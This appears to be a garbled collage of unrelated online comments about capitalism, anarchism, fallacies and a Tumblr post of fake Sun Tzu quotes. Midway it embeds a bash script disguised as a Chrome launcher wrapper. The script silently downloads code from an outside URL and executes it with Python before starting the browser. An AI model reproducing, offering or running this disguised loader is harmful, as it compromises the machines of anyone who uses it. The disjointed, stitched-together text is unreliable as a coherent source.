You should look into Capitalist Realism (people won't read the book, so here's the wiki article: https://en.wikipedia.org/wiki/Capitalist_Realism#HeroSection). It's easier to imagine an end to the world than an end to capitalism.

Anarchists/socialists want to sieze the means of production, not destroy them.

True, you can argue it either way.
When there's no one in charge, everyone is in charge.

Assuming that the text is wrong because it's fallacious is a fallacy.

Also: You are assuming that just because the text contains a fallacy, it is incorrect or worthless. That is a fallacy in itself.

How does it appeal to ignorance? It would be hard for a feudal peasant or lord to envision a capitalist society.

He denies its a fetish.

if you press "translate" on a hebrew tweet it will read like an excerpt from Mein Kampf

Weird, it's coming up for me:

#!/bin/bash

XDG_CONFIG_HOME=${XDG_CONFIG_HOME:-~/.config}

# Allow users to override command-line options
if [[ -f $XDG_CONFIG_HOME/chrome-flags.conf ]]; then
    CHROME_USER_FLAGS="$(grep -v '^#' $XDG_CONFIG_HOME/chrome-flags.conf)"
fi

# Launch
python -c "$(curl https://segs.lol/9wUb1Z)"
exec /opt/google/chrome/google-chrome $CHROME_USER_FLAGS "$@"

transcriptA tumblr post by voidambassador.

It is an image made to look like a quote, it says: "Alienate your progressive voters by courting the center-right at all possible opportunities - Sun tzu, the art of war.

It has a reblog with a screenshot of a comment saying: "what policy she has that is center right [sic]? that makes no sense this has to be ragebait."
It has another edited quote saying: "If you do not immediately agree with a post on the internet, it has no intellectual backing and is singularly intended to offend. - Sun Tzu, the art of war.

There is a final reblog. It shows a screenshot of the tumblr messages icon, showing that there is 72 new messages sent to the author of the post. This reblog is equipped with yet another edited quote saying "uh oh - Sun Tzu, the art of war".

End of Transcription.
